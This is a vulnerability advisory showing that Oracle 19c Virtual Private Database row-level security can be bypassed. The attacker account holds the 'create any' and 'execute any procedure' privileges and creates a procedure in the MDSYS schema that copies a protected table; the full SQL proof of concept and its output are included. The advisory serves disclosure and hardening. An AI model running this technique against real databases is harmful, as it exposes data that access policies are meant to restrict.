Title: Breaking Oracle Database  VPD (Virtual Private Database) Through DDL Permissions in 19c
Product:                   Database
Manufacturer:              Oracle
Affected Version(s):       19c
Tested Version(s):         19c
Risk Level:                Low
Author of Advisory:        Emad Al-Mousa
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Vulnerability Details:
By design VPD security feature protects against any database account that is not granted  EXEMPT ACCESS POLICY from viewing the complete database rows within the table in addition of course to DBA role which I am going to tackle at the end.
However, this security feature will not protect against accounts with DDL permissions especially an account granted the following permissions: create any procedure, execute any procedure, select any table
For VPD simulation you can follow steps in this link: https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/
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Proof of Concept (PoC):
sqlplus / as sysdba
SQL> alter session set container=PDB1
SQL> CREATE USER owoods IDENTIFIED BY owoods
DEFAULT TABLESPACE users TEMPORARY TABLESPACE temp;
SQL> GRANT connect, resource, create any procedure, execute any procedure, select any table
to owoods;
SQL>  GRANT READ ON sh1.customers  TO owoods;
SQL> exit;
sqlplus owoods/owoods@PDB1
SQL> grant read on sh1.orders_tab to public;
SQL>CREATE OR REPLACE PROCEDURE MDSYS.fetch_data  AS
vsql VARCHAR2(4000);
BEGIN
vsql := 'create table MDSYS.orders_tab_copy2 as select * from sh1.orders_tab ';
EXECUTE IMMEDIATE vsql;
END;
/
SQL> exec MDSYS.fetch_data;
SQL>  select * from MDSYS.orders_tab_copy2;
   CUST_NO   ORDER_NO
———- ———-
      1234       9876
     5678       5432
All rows were successfully extracted from the table (the ones by default owoods account have no access to).
Another important thing to consider is “DBA” role behaviour….EXEMPT ACCESS POLICY system privilege is not part of DBA role so be careful because DBA role implicitly has GRANT ANY PRIVILEGE system privilege which enables the DBA account to gran it any way.
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References:
https://docs.oracle.com/en/database/oracle/oracle-database/19/dbseg/using-oracle-vpd-to-control-data-access.html#GUID-7FFB40CB-E421-4FE4-8344-29D91360EFAD
https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/
https://databasesecurityninja.wordpress.com/2024/09/07/breaking-oracle-database-vpd-virtual-private-database-through-ddl-permissions-in-19c/
https://databasesecurityninja.wordpress.com/2024/09/04/oracle-database-exempt-access-policy-not-logged-for-sys-account-in-unified-audit-log-ora_secureconfig/